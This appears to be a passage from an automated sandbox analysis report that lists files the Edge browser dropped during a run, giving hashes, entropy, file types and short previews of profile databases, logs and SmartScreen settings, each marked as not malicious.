
Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e8e2ee78-5184-44ea-bd37-1b5acb393a01.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10261748214866881
Encrypted:	false
SSDEEP:	6:Gu0f8MfC/00f8Mfj89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl0:+ohspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	2E7D41F0238161EF8BCA976A794922E1
SHA1:	8D38448F74F7BFD81499EA91DDE8090ED9E2FFC2
SHA-256:	D2BC771196A67E49D8A01AE90623254B59F77B6A7E5671DBDED9CA43AEDAE83E
SHA-512:	8E5203459D071B94B76D64F24EB74031290963AD388040AD269C454559C0BFBD86B4806FDCFE42F3889E99E4558BC65D4665FB04E7A08F87C3AD5493893043D4
Malicious:	false
Preview:	..-.............M........}v.y.I)$J...V...%..y]....-.............M........}v.y.I)$J...V...%..y]..........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8908084059975647
Encrypted:	false
SSDEEP:	384:pdmd9Y2ya3n6JQlBQeJcF31rLO2v8Gy1yTDyGyZFyHxyTn:MeK
MD5:	358F68D3754CF911FA1C459D5743F694
SHA1:	2A6737CDEE06DFC71C0188DBD319BA52504C20A9
SHA-256:	29D2CF74C4F12BEEB3EF9511CB54BF7B612CE29A5436CA344EC9355D8CC43870
SHA-512:	9EC67EB91EB7FB5D248739747F2391B95DD48F355970BCCDA2A8502E798E2775424C9CB66EFB0D4DD251545BEBC414682D1A0805CCF714B3EF7B4BD924EE1C52
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.19981911594787
Encrypted:	false
SSDEEP:	6:7OP9Vq2PN723oH+TcwtfrK+IFUt8OOPaIgZmw+OOPaIIkwON723oH+TcwtfrUeLJ:7OP3vVaYeb23FUt8OOPm/+OOPa5OaYet
MD5:	D1D79D8A56864B9191830360733E8BA2
SHA1:	51292D009E5F87102EC22D01647386EB6E41EC56
SHA-256:	6D3D3E620F15A62C8D33611DAC707F9B3977830232F2B828E37FB37BAD7B9CBD
SHA-512:	DCFD52C1DB0F47C2BE521BFA47DD37D045C0C091E58475C0C2C7E261874307BCE62115813DB2185793B20AAEA7B9ABD067205FAF16B79B6012D6338911E1A03A
Malicious:	false
Preview:	2024/12/19-10:11:06.859 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/19-10:11:06.860 1d84 Recovering log #3.2024/12/19-10:11:06.860 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.19981911594787
Encrypted:	false
SSDEEP:	6:7OP9Vq2PN723oH+TcwtfrK+IFUt8OOPaIgZmw+OOPaIIkwON723oH+TcwtfrUeLJ:7OP3vVaYeb23FUt8OOPm/+OOPa5OaYet
MD5:	D1D79D8A56864B9191830360733E8BA2
SHA1:	51292D009E5F87102EC22D01647386EB6E41EC56
SHA-256:	6D3D3E620F15A62C8D33611DAC707F9B3977830232F2B828E37FB37BAD7B9CBD
SHA-512:	DCFD52C1DB0F47C2BE521BFA47DD37D045C0C091E58475C0C2C7E261874307BCE62115813DB2185793B20AAEA7B9ABD067205FAF16B79B6012D6338911E1A03A
Malicious:	false
Preview:	2024/12/19-10:11:06.859 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/19-10:11:06.860 1d84 Recovering log #3.2024/12/19-10:11:06.860 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.202903156875145
Encrypted:	false
SSDEEP:	6:7OPfVq2PN723oH+TcwtfrzAdIFUt8OOPMgZmw+OOPMIkwON723oH+TcwtfrzILJ:7OP9vVaYeb9FUt8OOPV/+OOPH5OaYebS
MD5:	9A570E734994B0A2C96681554E6C7130
SHA1:	3B3E604443D290AE8829DEF0C0CAE931E7CE7256
SHA-256:	5529BEFDB225A1494854B3FCC3D2452B8348A16BD04CEBA1D4968CEA3CB0CE32
SHA-512:	1B2BFF66B1625178A1719201C4C7EEDC64EE73D5062B96A6BCE8238DCFABBA841544AA152524E52491200304952D601731B86CE622EE27483D9345FDB617DCCC
Malicious:	false
Preview:	2024/12/19-10:11:06.853 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/19-10:11:06.854 1d84 Recovering log #3.2024/12/19-10:11:06.854 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.202903156875145
Encrypted:	false
SSDEEP:	6:7OPfVq2PN723oH+TcwtfrzAdIFUt8OOPMgZmw+OOPMIkwON723oH+TcwtfrzILJ:7OP9vVaYeb9FUt8OOPV/+OOPH5OaYebS
MD5:	9A570E734994B0A2C96681554E6C7130
SHA1:	3B3E604443D290AE8829DEF0C0CAE931E7CE7256
SHA-256:	5529BEFDB225A1494854B3FCC3D2452B8348A16BD04CEBA1D4968CEA3CB0CE32
SHA-512:	1B2BFF66B1625178A1719201C4C7EEDC64EE73D5062B96A6BCE8238DCFABBA841544AA152524E52491200304952D601731B86CE622EE27483D9345FDB617DCCC
Malicious:	false
Preview:	2024/12/19-10:11:06.853 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/19-10:11:06.854 1d84 Recovering log #3.2024/12/19-10:11:06.854 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50af4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50b04.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50d65.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF53417.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
